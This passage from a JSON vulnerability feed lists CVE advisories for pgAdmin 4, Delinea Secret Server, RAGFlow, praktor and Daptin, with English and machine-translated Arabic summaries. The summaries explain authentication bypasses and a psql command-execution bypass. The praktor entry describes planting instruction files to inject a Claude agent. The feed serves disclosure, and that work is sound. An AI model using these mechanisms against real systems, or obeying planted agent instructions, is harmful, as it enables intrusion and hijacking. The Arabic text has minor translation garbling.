9.19.","ar":"تقوم libpq بالبحث عن خدمة اتصال في ملف الخدمة لحساب نظام التشغيل الذي يشغل pgAdmin 4، ويمكن أن يحتوي إدخال هناك على كلمة مرور أو يحدد ملف كلمة مرور أو شهادة عميل. في وضع الخادم، يمكن لأي مستخدم تعيين خدمة الخادم، أو معلمة اتصال \"service\"، إلى أحد هذه الإدخالات والاتصال ببيانات اعتماده. تم استخدام متغير PGPASSWORD أو PGSERVICE المعين لهذا الحساب بالمثل بواسطة libpq لكل اتصال ليس له قيمته الخاصة وتم تمريره إلى الأدوات المساعدة، وقرأ pg_dumpall اسم قاعدة بيانات الصيانة مثل \"service=...\" ك سلسلة اتصال. يضيف الإصلاح إعداد SERVER_MODE_ALLOWED_SERVICES، وهو فارغ افتراضياً: في وضع الخادم، يمكن استخدام الخدمة المدرجة فقط، ويتم رفض معلمة servicefile، ويتم إزالة PGPASSWORD وPGSERVICE من بيئة pgAdmin عند البدء. يتم التحقق من القائمة المسموحة مرة أخرى في سلسلة الاتصال النهائية، ويتم تغليف اسم قاعدة بيانات pg_dumpall كسلسلة اتصال. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/a0c8f4857f732c6f5e5bacf4b289b811bb5c6a06","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10654","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116247","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:04Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: libpq uses the pgAdmin service account's own password file and client certificate","ar":"pgAdmin 4: تستخدم libpq ملف كلمة المرور وشهادة العميل الخاصين بحساب خدمة pgAdmin"},"summary":{"en":"When a server in pgAdmin 4 had no password file, client certificate or client key configured, or the configured one could not be found, pgAdmin left the parameter out of the connection and libpq fell back to the defaults of the operating-system account running pgAdmin: ~/.pgpass, ~/.postgresql/postgresql.crt and postgresql.key, or PGPASSFILE, PGSSLCERT and PGSSLKEY. In server mode any user could therefore connect to a server with the service account's saved passwords or client certificate, and supplying only a copy of its public certificate was enough for libpq to pair it with the service account's private key. A pg_service.conf entry, or a maintenance database name read as a connection string by pg_dumpall, could bring the same files back for the utilities. The fix gives each of these parameters a value in server mode, the user's own file or otherwise a path that can never be opened, in the connection string, in the environment of the utilities and in the --dbname connection string that ranks above a service entry. Desktop mode is unchanged. This issue affects pgAdmin 4: before 9.19.","ar":"عندما لم يكن لخادم في pgAdmin 4 ملف كلمة مرور، أو شهادة عميل، أو مفتاح عميل مهيأ، أو لمط يعثر على الملف المُهيأ، ترك pgAdmin المعلمة خارج الاتصال وتراجعت libpq إلى الإعدادات الافتراضية لحساب نظام التشغيل الذي يشغل pgAdmin: ~/.pgpass و ~/.postgresql/postgresql.crt و postgresql.key، أو PGPASSFILE و PGSSLCERT و PGSSLKEY. في وضع الخادم، يمكن لأي مستخدم بالتالي الاتصال بخادم بكلمات المرور المحفوظة أو شهادة العميل الخاصة بحساب الخدمة، وكان توفير نسخة من شهادته العامة وحدها كافياً لكي تقوم libpq بربطها بالمفتاح الخاص لحساب الخدمة. قد يؤدي إدخال pg_service.conf، أو اسم قاعدة بيانات صيانة تتم قراءته كسلسلة اتصال بواسطة pg_dumpall، إلى إعادة الملفات نفسها للأدوات المساعدة. يمنح الإصلاح كل معلمة من هذه المعلمات قيمة في وضع الخادم، ملف المستخدم الخاص أو مسار لا يمكن فتحه أبداً، في سلسلة الاتصال، وفي بيئة الأدوات المساعدة وفي سلسلة الاتصال --dbname التي تصنف فوق إدخال الخدمة. وضع سطح المكتب بدون تغيير. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/32db693198f28b78fe2af12a726b80a68eb78cb2","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10652","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116239","cvss":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:03Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: An LDAP or Kerberos login is logged in to another account with the same username","ar":"pgAdmin 4: تسجيل الدخول عبر LDAP أو Kerberos يتم توجيهه إلى حساب آخر يحمل نفس اسم المستخدم"},"summary":{"en":"In server mode pgAdmin 4 keeps an account per authentication source, so the same username can exist as, for example, an internal account and an LDAP account. After LDAP or Kerberos authenticated a user, pgAdmin chose the account to log in by username alone, or took the account Flask-Security's login form had looked up, without checking that it came from the source that authenticated the user. The session therefore belonged to another account, with its role, its servers and its saved database passwords: - An LDAP or Kerberos user whose username matched an internal account was logged in as that internal account, including the administrator account created when pgAdmin is first set up. - With internal authentication listed before LDAP or Kerberos in AUTHENTICATION_SOURCES, the login form's internal validation looks up the account whose email was typed and keeps it even though its password does not match. A Kerberos user could type another Kerberos user's principal and be logged in as that user, and an LDAP user could do the same with an LDAP account whose email is their username. Exploitation requires valid credentials for an LDAP directory or Kerberos realm that pgAdmin is configured to use. The fix looks the account up by the authenticated username and the source that authenticated it, and no longer uses the account the login form found for any source but internal authentication. Internal authentication logs in that account only if it is an internal account. Desktop mode is not affected. This issue affects pgAdmin 4: before 9.19.","ar":"في وضع الخادم، يحفظ pgAdmin 4 حساباً لكل مصدر مصادقة، لذا يمكن أن يتواجد نفس اسم المستخدم، على سبيل المثال، كحساب داخلي وكحساب LDAP. بعد أن قامت مصادقة LDAP أو Kerberos بالمصادقة للمستخدم، اختار pgAdmin الحساب لتسجيل الدخول بناءً على اسم المستخدم وحده، أو أخذ الحساب الذي بحث عنه نموذج تسجيل الدخول الخاص بـ Flask-Security، دون التحقق من أنه يأتي من المصدر الذي قام بمصادقة المستخدم. لذلك تعود الجلسة إلى حساب آخر، مع دوره وخوادمه وكلمات مرور قاعدة البيانات المحفوظة الخاصة به: - تم تسجيل دخول مستخدم LDAP أو Kerberos الذي يتطابق اسم مستخدمه مع حساب داخلي كذاك الحساب الداخلي، بما في ذلك حساب المسؤول الذي تم إنشاؤه عند إعداد pgAdmin لأول مرة. - مع إدراج المصادقة الداخلية قبل LDAP أو Kerberos في AUTHENTICATION_SOURCES، يبحث التحقق الداخلي لنموذج تسجيل الدخول عن الحساب الذي تم كتابة بريده الإلكتروني ويحتفظ به على الرغم من عدم تطابق كلمة المرور. يمكن لمستخدم Kerberos كتابة معرف أساسي لمستخدم Kerberos آخر وتسجيل الدخول كذاك المستخدم، ويمكن لمستخدم LDAP فعل الشيء نفسه مع حساب LDAP الذي يكون بريده الإلكتروني هو اسم مستخدمه. يتطلب الاستغلال بيانات اعتماد صالح لدليل LDAP أو نطاق Kerberos الذي تم تكوين pgAdmin لاستخدامه. يقوم الإصلاح بالبحث عن الحساب بواسطة اسم المستخدم المصادق عليه والمصدر الذي قام بمصادقته، ولم يعد يستخدم الحساب الذي وجده نموذج تسجيل الدخول لأي مصدر بخلاف المصادقة الداخلية. تسجل المصادقة الداخلية دخول هذا الحساب فقط إذا كان حساباً داخلياً. وضع سطح المكتب غير متأثر. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/269e32d5ee01f2eb5de36e464d44487a831f2424","patch"],["https://github.com/pgadmin-org/pgadmin4/commit/7378060e5c8f7c3279b8138d371e13fd8b45a729","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10675","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116241","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:03Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: Import/Export Data query export runs a command through a backslash in a double-quoted identifier","ar":"pgAdmin 4: استعلام تصدير استيراد/تصدير البيانات يشغل أمراً عبر شرطة مائلة عكسية في معرف محاط بعلامات اقتباس مزدوجة"},"summary":{"en":"pgAdmin 4's Import/Export Data tool wraps a user's query export in a psql \\copy (...) TO command and checks that the query's parentheses are balanced so that nothing can escape the wrapper. The check rejected a backslash inside a single-quoted string, but not inside a double-quoted identifier, where it treated the next double quote as closing the identifier. psql's \\copy parser applies the connection's escape character to whichever quote opened a token, so with standard_conforming_strings off a backslash-escaped double quote does not close the identifier. pgAdmin's and psql's view of the quoting then diverged, a closing parenthesis hidden from the check ended the \\copy (...) wrapper, and a following TO PROGRAM clause was executed by psql on the pgAdmin host, as the operating-system account running pgAdmin, before the server rejected the statement. An ordinary database role can turn standard_conforming_strings off for itself, and the Import/Export Data permission is granted to non-administrators by default. This is a bypass of the fix for CVE-2026-17566. The fix rejects any backslash inside a double-quoted identifier, as was already done for single-quoted strings, since its meaning depends on a server setting that cannot be known reliably when the query is validated. This issue affects pgAdmin 4: before 9.19.","ar":"تلف أداة استيراد/تصدير البيانات في pgAdmin 4 تصدير استعلام المستخدم في أمر psql \\copy (...) TO وتحقق من أن أقواس الاستعلام متوازنة بحيث لا يمكن لأي شيء الهروب من الغلاف. رفض التحقق وجود شرطة مائلة عكسية داخل سلسلة محاطة بعلامات اقتباس فردية، ولكن ليس داخل معرف محاط بعلامات اقتباس مزدوجة، حيث تعامل مع علامة الاقتباس المزدوجة التالية على أنها إغلاق للمعرف. يطبق محلل \\copy الخاص بـ psql حرف الهروب الخاص بالاتصال على أي علامة اقتباس فتحت الرمز المميز، لذا مع تعطيل standard_conforming_strings، فإن علامة الاقتباس المزدوجة المهربة بشرطة مائلة عكسية لا تغلق المعرف. ثم تباينت نظرة pgAdmin و psql إلى الاقتباس، وانتهى قوس الإغلاق المخفي عن التحقق من الغلاف \\copy (...)، وتم تنفيذ بند TO PROGRAM اللاحق بواسطة psql على مضيف pgAdmin، بصفتها حساب نظام التشغيل الذي يشغل pgAdmin، قبل أن يرفض الخادم البيان. يمكن لدور قاعدة بيانات عادي تعطيل standard_conforming_strings لنفسه، ويتم منح إذن استيراد/تصدير البيانات لغير المسؤولين افتراضياً. هذا تجاوز لإصلاح CVE-2026-17566. يرفض الإصلاح أي شرطة مائلة عكسية داخل معرف محاط بعلامات اقتباس مزدوجة، كما تم القيام به بالفعل للسلسلة المحاطة بعلامات اقتباس فردية، نظراً لأن معناها يعتمد على إعداد خادم لا يمكن معرفته بشكل موثوق عند التحقق من الاستعلام. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/9be31a019f780647fb689c458408c8803263c812","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10663","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116242","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:03Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: SSH tunnels use the pgAdmin service account's own SSH identity","ar":"pgAdmin 4: أنفاق SSH تستخدم هوية SSH الخاصة بحساب خدمة pgAdmin نفسه"},"summary":{"en":"pgAdmin 4 opens SSH tunnels with the sshtunnel library but gave it neither host_pkey_directories nor ssh_config_file, so it always loaded the unencrypted private keys in ~/.ssh of the operating-system account running pgAdmin, read that account's ~/.ssh/config (IdentityFile, User, HostName, ProxyCommand) for the tunnel host, and could use its ssh-agent. In server mode any user could therefore configure a tunnel to a host that accepts the service account's key, with no credentials of their own or with an identity file that did not exist in their storage, and reach it as that account. The fix makes tunnels in server mode use only the identity file or password the user configured: the service account's keys, configuration and agent are no longer used, and an identity file that cannot be found in the user's storage is reported instead of falling back to ~/.ssh. Desktop mode is unchanged. This issue affects pgAdmin 4: before 9.19.","ar":"يفتح pgAdmin 4 أنفاق SSH باستخدام مكتبة sshtunnel ولكنه لم يمنحها host_pkey_directories ولا ssh_config_file، لذلك كانت دائماً تحمل المفاتيح الخاصة غير المشفرة في ~/.ssh لحساب نظام التشغيل الذي يشغل pgAdmin، وتقرأ ~/.ssh/config الخاص بهذا الحساب (IdentityFile, User, HostName, ProxyCommand) لمضيف النفق، ويمكنها استخدام ssh-agent الخاص به. في وضع الخادم، يمكن لأي مستخدم بالتالي تكوين نفق إلى مضيف يقبل مفتاح حساب الخدمة، دون بيانات اعتماد خاصة به أو باستخدام ملف هوية لم يكن موجوداً في مساحة التخزين الخاصة به، والوصول إليه كذاك الحساب. يجعل الإصلاح الأنفاق في وضع الخادم تستخدم فقط ملف الهوية أو كلمة المرور التي قام المستخدم بتكوينها: لم تعد مفاتيح حساب الخدمة وتكوينه والعميل تُستخدم، ويتم الإبلاغ عن ملف هوية لا يمكن العثور عليه في مساحة تخزين المستخدم بدلاً من الرجوع إلى ~/.ssh. وضع سطح المكتب دون تغيير. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/d52fe4740eb1af89d940f2e412bd66a0a89f08bb","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10662","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-115829","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-288","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:02Z","product":"Delinea Secret Server","affected":[[" – 12.2.7",null]],"title":{"en":"Secret Server partial login bypass","ar":"تجاوز جزئي لتسجيل الدخول في Secret Server"},"summary":{"en":"In Secret Server versions earlier than 12.3.1, a user could bypass the initial login step and authenticate by successfully negotiating the second factor login step only.","ar":"في إصدارات Secret Server الأقدم من 12.3.1، يمكن للمستخدم تجاوز خطوة تسجيل الدخول الأولية والمصادقة من خلال التفاوض بنجاح على خطوة تسجيل الدخول العامل الثاني فقط."},"refs":[["https://delinea.com/security-advisories","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"delinea-secret-server"},{"id":"CVE-2026-115830","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:02Z","product":"Delinea Secret Server","affected":[[" – 12.2.7",null]],"title":{"en":"Secret Server JWT issuance error","ar":"خطأ في إصدار JWT في Secret Server"},"summary":{"en":"In Secret Server versions earlier than 12.3.1, a user under certain conditions could submit an unsigned JWT and receive cloudadmin permissions in response.","ar":"في إصدارات Secret Server الأقدم من 12.3.1، يمكن للمستخدم في ظل شروط معينة إرسال رمز JWT غير موقع وتلقي صلاحيات cloudadmin استجابة لذلك."},"refs":[["https://delinea.com/security-advisories","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"delinea-secret-server"},{"id":"CVE-2026-116238","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-307","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:02Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: The failed login limit can be bypassed, and Flask-Security's own views skip pgAdmin's login and password checks","ar":"pgAdmin 4: يمكن تجاوز حد تسجيل الدخول الفاشل، وتتخطى عروض Flask-Security الخاصة فحص تسجيل الدخول وكلمة المرور في pgAdmin"},"summary":{"en":"In server mode pgAdmin 4 locks an internal account after MAX_LOGIN_ATTEMPTS failed logins (3 by default). The limit could be bypassed, giving an unauthenticated attacker an unlimited number of password guesses against any internal account, including the administrator's, in the default configuration: - Flask-Security registers its own views next to pgAdmin's. A login submitted to its /login view was checked and logged in without pgAdmin's failed login count or lock. Its /verify view checked a signed-in user's password without limit, its /change view changed a password without pgAdmin's change password permission or re-encrypting the user's saved server passwords, and its /reset views sent and applied password resets for accounts that are not internal or are locked. - The internal account was looked up by its exact username, while the login form matches the email ignoring case, so a login with the username typed in another case was neither counted nor checked for the lock. - With LDAP or webserver authentication also configured, a wrong internal password was never counted, and with Kerberos or webserver authentication configured a guess could be answered without being counted. In addition, where accounts from different authentication sources share an email address, a password reset could be sent for, or applied to, an account from another source, and the About box showed the server configuration to a user whose email was that of an administrator's account. The fix refuses submissions to Flask-Security's own views, counts every failed internal login however the username is typed and whatever other sources are configured, no longer lets a login that posts a password fall back to an authentication source that does not check it, and locks only internal authentication. Password resets and the About box act only on the user's own internal account. Desktop mode is not affected. This issue affects pgAdmin 4: before 9.19.","ar":"في وضع الخادم، يقوم pgAdmin 4 قفل حساب داخلي بعد MAX_LOGIN_ATTEMPTS تسجيل دخول فاشل (3 افتراضياً). يمكن تجاوز الحد، مما يمنح مهاجماً دون مصادقة عدد غير محدود من تخمينات كلمات المرور ضد أي حساب داخلي، بما في ذلك حساب المسؤول، في التكوين الافتراضي: - يسجل Flask-Security عروضه الخاصة بجانب عروض pgAdmin. تم فحص وتسجيل دخول تسجيل الدخول المرسل إلى عرض /login الخاص به دون عد تسجيل الدخول الفاشل أو قفل pgAdmin. فحص عرضه /verify كلمة المرور لمستخدم مسجل الدخول بلا حدود، وغیر عرضه /change كلمة المرور دون إذن تغيير كلمة المرور في pgAdmin أو إعادة تشفير كلمات مرور الخادم المحفوظة للمستخدم، وأرسل عرضه /reset وطبق عمليات إعادة تعيين كلمة المرور للحساباتที่ไม่ تكون داخلية أو مقفلة. - تم البحث عن الحساب الداخلي بواسطة اسم مستخدَمِه الدقيق، بينما يطابق نموذج تسجيل الدخول البريد الإلكتروني مع تجاهل حالة الأحرف، لذا فإن تسجيل الدخول مع كتابة اسم المستخدم بحالة أحرف أخرى لم يتم احتسابه ولم يتم التحقق من قفله. - مع تكوين مصادقة LDAP أو خادم الويب أيضاً، لم يتم احتساب كلمة المرور الداخلية الخاطئة أبداً، ومع تكوين مصادقة Kerberos أو خادم الويب، يمكن الرد على التخميس دون احتسابه. بالإضافة إلى ذلك، حيث تتشارك الحسابات من مصادر مصادقة مختلفة في عنوان بريد إلكتروني، يمكن إرسال إعادة تعيين كلمة المرور أو تطبيقها على حساب من مصدر آخر، وأظهر مربع \"حول\" تكوين الخادم لمستخدم كان بريده الإلكتروني هو بريد حساب المسؤول. يرفض الإصلاح عمليات الإرسال إلى عروض Flask-Security الخاصة، ويحسب كل تسجيل دخول داخلي فاشل بغض النظر عن طريقة كتابة اسم المستخدم وأي مصادر أخرى تكوينها، ولم يعد يسمح لتسجيل دخول يرسل كلمة مرور بالرجوع إلى مصدر مصادقة لا يتحقق منه، ويقفل المصادقة الداخلية فقط. تعمل عمليات إعادة تعيين كلمة المرور ومربع \"حول\" على حساب المستخدم الداخلي الخاص به فقط. وضع سطح المكتب غير متأثر. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/35c9235d17a7d5a99778f01b2f1b9e5e3a3b7fde","patch"],["https://github.com/pgadmin-org/pgadmin4/commit/58c531d831179dc9b0a5bf873ccb80c71c8d387a","patch"],["https://github.com/pgadmin-org/pgadmin4/commit/c6ef41a951012cd877a1992b5dac681eec36e48d","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10676","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-119337","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:10:27Z","product":"infiniflow ragflow","affected":[],"title":{"en":"RAGFlow: OpenAI-compatible agent completion bypasses private canvas authorization","ar":"RAGFlow: إكمال الوكيل المتوافق مع OpenAI يتجاوز تفويض لوحة الرسم الخاصة"},"summary":{"en":"RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine. From 0.25.2 until 0.27.3, POST /api/v1/agents/chat/completions invokes completion_openai and returns through the openai-compatible branch before UserCanvasService.accessible() checks whether the caller may access the requested agent. An authenticated user who knows another user's private agent UUID can execute that Only me workflow and read its output across the user or tenant boundary; configured tools may also cause side effects, but stronger impacts were not demonstrated. This issue is fixed in version 0.27.3.","ar":"RAGFlow هو محرك RAG (توليد معزز بالاسترجاع) مفتوح المصدر. من 0.25.2 حتى 0.27.3، يستدعي POST /api/v1/agents/chat/completions الوظيفة completion_openai ويعود عبر الفرع المتوافق مع openai قبل أن يتحقق UserCanvasService.accessible() مما إذا كان المتصل مسموحاً له بالوصول إلى الوكيل المطلوب. يمكن لمستخدم مصادق عليه يعرف معرف UUID لوكيل خاص لمستخدم آخر تنفيذ سير العمل \"فقط أنا\" وقراءة مخرجاته عبر حدود المستخدم أو المستأجر؛ قد تتسبب الأدوات المكونة أيضاً في آثار جانبية، لكن لم يتم إظهار تأثيرات أقوى. تم إصلاح هذه المشكلة في الإصدار 0.27.3."},"refs":[["https://github.com/infiniflow/ragflow/security/advisories/GHSA-c6q8-23rp-32cv","ref"],["https://github.com/infiniflow/ragflow/pull/19817","ref"],["https://github.com/infiniflow/ragflow/commit/20180790e1a8c55553a2f3e75718f3d65178ae6d","ref"],["https://github.com/infiniflow/ragflow/releases/tag/v0.27.3","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"infiniflow-ragflow"},{"id":"CVE-2026-62331","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T19:18:33Z","product":"mtzanidakis praktor","affected":[["<= 0.9.0","0.9.1"]],"title":{"en":"praktor: Telegram upload traversal permits persistent agent instruction injection","ar":"praktor: اجتياز تحميل Telegram يسمح بحقن تعليمات الوكيل المستمرة"},"summary":{"en":"praktor is a multi-agent Claude Code orchestrator with Telegram input and output, Docker isolation, and a Mission Control UI. Prior to 0.9.1, both Telegram upload sites in `internal/telegram/bot.go` concatenate the attacker-controlled document filename into a destination path without sanitization, and `path.Join` collapses parent-directory traversal. A remote Telegram user who can message the bot can therefore write outside `uploads/` within the persistent agent workspace mounted at `/workspace/agent`. Because `allow_from: []` permits all senders by default, no prior authentication or privilege is required in that configuration. The attacker can plant or overwrite `CLAUDE.md`, instruction, skill, hook, or configuration files that the Claude agent reads and operates on across later runs, turning a document upload into stored instruction injection. The demonstrated arbitrary-write scope is the persistent agent workspace volume, not an unrestricted host-filesystem write. This issue is fixed in version 0.9.1.","ar":"praktor هو منسق Claude Code متعدد الوكلاء مع مدخلات ومخرجات Telegram، وعزل Docker، واجهة مستخدم التحكم في المهام. قبل 0.9.1، يقوم كلا موقعي تحميل Telegram في internal/telegram/bot.go بربط اسم ملف المستند الذي يتحكم فيه المهاجم في مسار الوجهة دون تعقيم، ويقوم path.Join بطي اجتياز الدليل الأصل. يمكن لمستخدم Telegram عن بُعد والذي يمكنه مراسلة البوت الكتابة خارج uploads/ داخل مساحة عمل الوكيل المستمرة المثبتة في /workspace/agent. نظراً لأن allow_from: [] يسمح لجميع المرسلين افتراضياً، فلا يلزم أي مصادقة مسبقة أو امتياز في هذا التكوين. يمكن للمهاجم زرع أو الكتابة فوق CLAUDE.md أو التعليمات أو المهارة أو الخطاف أو ملفات التكوين التي يقرأها وكيل Claude ويعمل عليها عبر التشغيلات اللاحقة، مما يحول تحميل المستند إلى حقن تعليمات مخزن. نطاق الكتابة العشوائية المُثبت هو وحدة تخزين مساحة عمل الوكيل المستمرة، وليس كتابة غير مقيدة لنظام ملفات المضيف. تم إصلاح هذه المشكلة في الإصدار 0.9.1."},"refs":[["https://github.com/advisories/GHSA-48v2-6jcm-fc99","advisory"],["https://github.com/mtzanidakis/praktor/commit/c3731eeda01c0b3ec1dbd13cccd5a147c3182141","ref"],["https://github.com/mtzanidakis/praktor/pull/228","ref"],["https://github.com/mtzanidakis/praktor/releases/tag/v0.9.1","ref"],["https://github.com/mtzanidakis/praktor/security/advisories/GHSA-48v2-6jcm-fc99","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-62331","ref"]],"epss":0.0078,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mtzanidakis-praktor"},{"id":"CVE-2026-62160","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T19:18:32Z","product":"github.com/daptin/daptin","affected":[["<= 0.12.15",null]],"title":{"en":"Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware","ar":"Daptin: تجاوز فاصل Parse_AcceptLanguage _ يمكن من تضخم وحدة المعالجة المركزية >250 مرة عبر رأس Accept-Language في LanguageMiddleware"},"summary":{"en":"Daptin is a GraphQL/JSON-API headless CMS. Prior to 0.12.26, the global `LanguageMiddleware` in `server/language.go` passes the raw `Accept-Language` header from `LanguageMiddlewareFunc` through `GetLanguagePreference` to `golang.org/x/text/language.ParseAcceptLanguage` without a size or shape filter. The guard for CVE-2022-32149 counts hyphens but not underscores, even though the internal parser normalizes underscores to hyphens. Long lists of underscore-separated language subtags longer than eight characters bypass the guard. These subtags fail the `len <= 8` length check in `golang.org/x/text/internal/language/parse.go`, causing repeated `gobble` operations to move the entire remaining buffer through `runtime.memmove`. With many invalid subtags, this repeated buffer movement takes quadratic work. Unauthenticated requests to the public landing page or `/api` can consume disproportionate CPU, with a 256 KiB header already causing seconds of processing and larger input permitted by the default 1 MiB header ceiling. `resource.CheckErr` also logs the entire invalid header, amplifying cost, while normal successful HTTP responses can conceal the denial-of-service traffic. Repeated requests can saturate server CPU. This issue is fixed in version 0.12.26.","ar":"Daptin هو نظام إدارة محتوى بلا واجهة رسومية GraphQL/JSON-API. قبل الإصدار 0.12.26، يمرر LanguageMiddleware العالمي في server/language.go رأس Accept-Language الخام من LanguageMiddlewareFunc عبر GetLanguagePreference إلى golang.org/x/text/language.ParseAcceptLanguage بدون مرشح الحجم أو الشكل. يحسب الحماية لـ CVE-2022-32149 الشرطات ولكن ليس الشرطات السفلية، على الرغم من أن المحلل الداخلي تطبيع الشرطات السفلية إلى شرطات. تتجاوز القوائم الطويلة من لغات فرعية مفصولة بشرطة سفلية أطول من ثمانية أحرف الحماية. تفشل هذه اللغات الفرعية في فحص الطول len <= 8 في golang.org/x/text/internal/language/parse.go، مما يتسبب في عمليات gobble متكررة لنقل المخزن المؤقت المتبقي بالكامل عبر runtime.memmove. مع وجود العديد من اللغات الفرعية غير الصالحة، يستغرق نقل المخزن المؤقت المتكرر هذا عملاً تربيعياً. يمكن الطلبات دون مصادقة إلى صفحة الهبوط العامة أو /api استهلاك وحدة معالجة مركزية غير متناسبة، مع رأس 256 كيلو بايت يسبب بالفعل ثوانٍ من المعالجة وإدخال أكبر مسموح به بواسطة الحد الأقصى الافتراضي لرأس 1 ميجا بايت. يسجل resource.CheckErr أيضاً الرأس غير الصالح بأكمله، مما يضخم التكلفة، بينما يمكن للاستجابات HTTP الناجحة العادية إخفاء حركة مرور حجب الخدمة. يمكن للطلبات المتكررة تشبع وحدة المعالجة المركزية للخادم. تم إصلاح هذه المشكلة في الإصدار 